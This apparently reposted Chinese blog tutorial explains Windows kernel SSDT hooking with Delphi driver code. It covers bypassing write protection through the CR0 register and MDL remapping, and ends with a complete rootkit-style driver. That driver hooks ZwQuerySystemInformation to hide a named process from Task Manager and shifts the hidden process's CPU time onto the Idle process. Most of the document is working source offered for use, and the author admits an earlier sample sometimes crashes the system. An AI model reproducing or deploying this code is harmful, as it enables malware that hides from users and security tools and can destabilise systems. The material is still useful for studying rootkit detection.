笔记SSDT HOOK

来源:互联网 发布:珠海电话营销软件 编辑:程序博客网 时间:2024/05/08 10:54
实例啊实例……今天早上1点睡的,居然7点半就爬起来了……看来自己很有前途……
   RT,丢个SSDT HOOK的砖头吧,也免得很多人说理论太多,实际很多东西不明白,也希望黑防不会说我一稿N发……
uses
   nt_status, ntoskrnl, ntutils; //以前用DDDK的时候直接uses ntddk.pas就完事了……
  
function _DriverEntry(pDriverObject:PDRIVER_OBJECT; pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;//声明驱动入口点,注意下划线不可少,以后会用到

implementation

type
    TZwOpenProcess = function(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId): NTSTATUS; stdcall;

var
    HookActive: Boolean;//定义变量,无视之
    ZwOpenProcessNextHook: TZwOpenProcess;

function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//从导入表中获取一个函数的地址
begin
    Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;//直接使用指针指向函数即可,还原SSDT的时候类似,也只需要指向KeServiceDescriptorTable
end;
//    KeServiceDescriptorTable+函数名计算SSDT函数偏移
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
var
    lpKeServiceDescriptorTable: PServiceDescriptorEntry;
begin
    lpKeServiceDescriptorTable := PPointer(@KeServiceDescriptorTable)^;//传说中指向系统服务描述符表的指针……
    Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));//SSDT偏移+函数名,怨念的Function啊
end;
   偏移都找到了,还有什么不能干的呢?
   function ZwOpenProcessHookProc(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId): NTSTATUS; stdcall;
begin
    DbgPrint('ZwOpenProcess HookProc: NewZwOpenProcess(ProcessHandle:0x%.8X,DesiredAccess:0x%.8X,ObjectAttributes:0x%.8X,ClientId:0x%.8X)',
          ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);//玩过驱动的都知道DebugPrint是什么玩意了,调试检测专用,输出你指定的信息,不过发行的时候这部分代码大多会被无视,而且万一出错了,错误输出也不能直接看出来,要依靠DebugView才行

    Result := ZwOpenProcessNextHook(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);//HOOK,HOOK,Hook就是一切
    DbgPrint('ZwOpenProcess HookProc: NewZwOpenProcess(-):0x%.8X', Result);//又是DbgPrint,无视……
end;
接下来就是SSDT HOOK最最标准的三部曲了,RT
if (Not HookActive) then
    begin
      //    SSDT Hook
      asm                                              //内嵌汇编,做过SSDT的都知道要干什么了
        cli
        push    eax
        mov    eax, cr0                                   
        and    eax, not 000010000h         //设置内核属性为可写,可怜的CR0寄存器
        mov    cr0, eax                                   
        pop    eax
      end;


      ZwOpenProcessNextHook := TZwOpenProcess(xInterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwOpenProcess)), LONG(@ZwOpenProcessHookProc)));//既然内核可写了,嘿嘿嘿嘿,那就写吧……

      asm
        push    eax                                       
        mov    eax, cr0                  //得意忘形了不是?内核的不可写性要改回来,什么?不想改?那你自己看着办吧,本人不负任何连带责任……
        or      eax, 000010000h                           
        mov    cr0, eax                                   
        pop    eax
        sti
      end;

      DbgPrint('ZwOpenProcess New Address: 0x%.8X', SystemServiceName(GetImportFunAddr(@ZwOpenProcess))^);//DbgPrint,我发誓这是最后一次看到它了!
      DbgPrint('ZwOpenProcess Old Address: 0x%.8X', DWORD(@ZwOpenProcessNextHook));//上面的不算,这是最后一次……
   这些是主要代码了,至于编译的方式和过程,KmdKit4D是很强悍的,自己写一个makefile吧,某就偷懒不写了……
   当然这个驱动不稳定,有时候加载会BSOD,天知道是我RP不好还是怎么了……
   最后科普下,CR0寄存器,CR0当中有一个写保护位,是保护内存不可写属性的,为了能够写入内核,只能把它的保护给咔嚓掉了,不过……如果做完了手脚但不还原写保护属性的话,恩恩……具体一点的大家可以看看《天书夜读——从汇编语言到Windows内核编程》那本书,驱网的楚狂人写的,对我们这些小菜鸟帮助很大……
   PS:如果以后嫌打字多太麻烦的话(我名字太长了……),请叫我阿飞……不学无术的阿飞一个(经常被DDL欺负的阿飞……RT)
   PS2:某不是想装B说自己是Ban,某确实很菜的,其实我也有很多问题不懂,今后还要多向各位大牛请教了

一、一般思路:
1.先来了解一下,什么是SSDT
SSDT即System Service Dispath   Table。在了解它之前,我们先了解一下NT的基本组件。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。

此主题相关图片如下:

用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,如下图:

此主题相关图片如下:
按此在新窗口浏览图片
从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:

此主题相关图片如下:
按此在新窗口浏览图片
KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构如下:
TServiceDescriptorEntry=packed record
   ServiceTableBase:PULONG;
   ServiceCounterTableBase:PULONG;
   NumberOfServices:ULONG;
   ParamTableBase:PByte;
end;
其中,
ServiceTableBase   -- System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4字节长。
System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如下图:

此主题相关图片如下:
按此在新窗口浏览图片
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
2.Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的,不能写。如果试图去写,等你的就是BSOD。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
(1)改变CR0寄存器的第1位
Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:

此主题相关图片如下:
按此在新窗口浏览图片
其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT、IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
(2) 通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
TMDL=packed record
   Next: PMDL;
   Size: CSHORT;
   MdlFlags: CSHORT;
   Process: PEPROCESS;
   MappedSystemVa: PVOID;
   StartVa: PVOID;
   ByteCount: ULONG;
   ByteOffset: ULONG;
end;
首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:

{ 把SSDT隐射到我们的区域,以便修改它为可写属性 }
   g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                   lpKeServiceDescriptorTable^.NumberOfServices * 4);
   if g_pmdlSystemCall = nil then
     Exit(STATUS_UNSUCCESSFUL);

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
   g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
   { 在内存中锁定,不让换出 }
   MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);
现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
由于Delphi不支持导入其他模块导出的变量,因此我们在这里使用变通的方法,我们把KeServiceDescriptorTable当成函数导入。因此在处理上就和C不同了。由于KeServiceDescriptorTable是当成函数导入的,因此它的真实地址就保存在IAT表中,我们首先用GetImportFunAddr函数从IAT中取得KeServiceDescriptorTable的地址,接下来用SystemServiceName函数取得相应函数在SSDT中的地址。SystemServiceName的原理就是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。接下来我们使用InterlockedExchange自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
3.小试牛刀:利用SSDT Hook隐藏进程
我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,其函数原型如下:
function ZwQuerySystemInformation(
   SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果这值是5,则代表系统中所有进程信息}
   SystemInformation: PVOID; {这就是最终列举出的信息,和上面的值有关}
   SystemInformationLength: ULONG;
   ReturnLength: PULONG): NTSTATUS; stdcall;
如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
(1)   突破SSDT的内存保护,如上所用的MDL方法
(2)   实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
(3)   用InterlockedExchange来交换ZwQuerySystemInformation与我们自己的New*函数
(4)   卸载New*函数,完成。
具体代码如下:
unit ssdt_hook;

interface

uses
   nt_status, ntoskrnl, native, fcall, macros;

function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
                       pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

implementation
type
   {定义ZwQuerySystemInformation函数类型}
   TZwQuerySystemInformation =
     function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
              SystemInformation: PVOID;
              SystemInformationLength: ULONG;
              ReturnLength: PULONG): NTSTATUS; stdcall;

var
   m_UserTime: LARGE_INTEGER;
   m_KernelTime: LARGE_INTEGER;
   OldZwQuerySystemInformation: TZwQuerySystemInformation;
   g_pmdlSystemCall: PMDL;
   MappedSystemCallTable: PPointer;
   lpKeServiceDescriptorTable: PServiceDescriptorEntry;

{ 由于Delphi无法导入其他模块导出的变量,因此我们变通一下,将其
   当做函数导入,这样,其真实地址就保存在IAT中,每条导入函数的
   IAT记录有6字节,格式为jmp ds:[xxxxxxxx],机器码为FF25xxxxxxxx,
   FF25是长跳转的机器码,跳过这2字节就是需要的地址。这点与C中不同,
   需要注意。}
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//从导入表中获取一个函数的地址
begin
   { 直接使用指针指向函数即可,还原SSDT的时候类似,也只需要指向
     KeServiceDescriptorTable }
   Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

{ KeServiceDescriptorTable+函数名计算SSDT函数偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
   { SSDT偏移+函数名,就是SSDT函数偏移 }
   { Delphi 2009中支持Pointer Math运算,可以这样写 }
   {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
   { 如果用其他版本,就只能像下面这样写了 }
   Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

{ 我们的hook函数,过滤掉"InstDrv"的进程 }
function NewZwQuerySystemInformation(
             SystemInformationClass: SYSTEM_INFORMATION_CLASS;
             SystemInformation: PVOID;
             SystemInformationLength: ULONG;
             ReturnLength: PULONG): NTSTATUS; stdcall;
var
   nt_Status: NTSTATUS;
   curr, prev: PSYSTEM_PROCESSES;
   times: PSYSTEM_PROCESSOR_TIMES;
begin
   nt_Status := OldZwQuerySystemInformation(
           SystemInformationClass,
           SystemInformation,
           SystemInformationLength,
           ReturnLength );

   if NT_SUCCESS(nt_Status) then
   begin
     { 请求文件、目录列表 }
     if SystemInformationClass = SystemProcessesAndThreadsInformation then
     begin
       { 列举系统进程链表 }
       { 寻找"InstDrv"进程 }
       curr := PSYSTEM_PROCESSES(SystemInformation);
       prev := nil;
       while curr <> nil do
       begin
         DbgPrint('Current item is %x'#13#10, curr);
         if curr^.ProcessName.Buffer <> nil then
         begin
           if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
           begin
             Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
             Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

             if prev <> nil then
             begin
               { Middle or Last entry }
               if curr^.NextEntryDelta <> 0 then
                 Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
               else
                 { we are last, so make prev the end }
                 prev^.NextEntryDelta := 0;
             end else
             begin
               if curr^.NextEntryDelta <> 0 then
               begin
                 { we are first in the list, so move it forward }
                 PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
                                                 curr^.NextEntryDelta;
               end else { we are the only process! }
                 SystemInformation := nil;
             end;
           end;
         end else { Idle process入口 }
         begin
           { 把InstDrv进程的时间加给Idle进程,Idle称空闲时间 }
           Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
           Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

           { 重设时间,为下一次过滤 }
           m_UserTime.QuadPart := 0;
           m_KernelTime.QuadPart := 0;
         end;
         prev := curr;
         if curr^.NextEntryDelta <> 0 then
           PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
         else
           curr := nil;
       end;
     end else if SystemInformationClass = SystemProcessorTimes then
     begin
       times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
       times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
                                   m_UserTime.QuadPart +
                                   m_KernelTime.QuadPart;
     end;
   end;
   Result := nt_Status;
end;

procedure OnUnload(DriverObject: PDRIVER_OBJECT);
begin
   DbgPrint('ROOTKIT: OnUnload called'#13#10);

   { 卸载hook }
   InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                       LONG(@OldZwQuerySystemInformation));
   { 解锁并释放MDL }
   if g_pmdlSystemCall <> nil then
   begin
     MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
     IoFreeMdl(g_pmdlSystemCall);
   end;
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
                       pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
   { 取得指向系统服务描述符表的指针…… }
   lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
   { 注册一个卸载的分发函数,与与应用层沟通 }
   pDriverObject^.DriverUnload := @OnUnload;

   { 初始化全局时间为零 }
   { 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的
     消耗会不变,cpu 100% }
   m_UserTime.QuadPart := 0;
   m_KernelTime.QuadPart := 0;

   { 保存旧的函数地址 }
   OldZwQuerySystemInformation :=
     TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

   { 把SSDT隐射到我们的区域,以便修改它为可写属性 }
   g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                   lpKeServiceDescriptorTable^.NumberOfServices * 4);
   if g_pmdlSystemCall = nil then
     Exit(STATUS_UNSUCCESSFUL);

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 }
   g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
   { 在内存中锁定,不让换出 }
   MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   { 把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,
    先突破了SSDT的保护,接着用InterlockedExchange更改了目标函数,
    下来就剩下具体的过滤任务了 }
   OldZwQuerySystemInformation :=
     TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                         LONG(@NewZwQuerySystemInformation)));

   Result := STATUS_SUCCESS;
end;

end.
这里我隐藏了InstDrv这个进程,加载驱动后可以发现我们的驱动确实Hook了ZwQuerySystemInformation,而且在进程列表中也看不到InstDrv进程,说明我们的驱动是成功的^_^。

此主题相关图片如下:

FROM:http://www.kmdkit4d.net
引用:http://hi.baidu.com/cfan_/blog/item/aa2c1e51b0808014367abeb9.html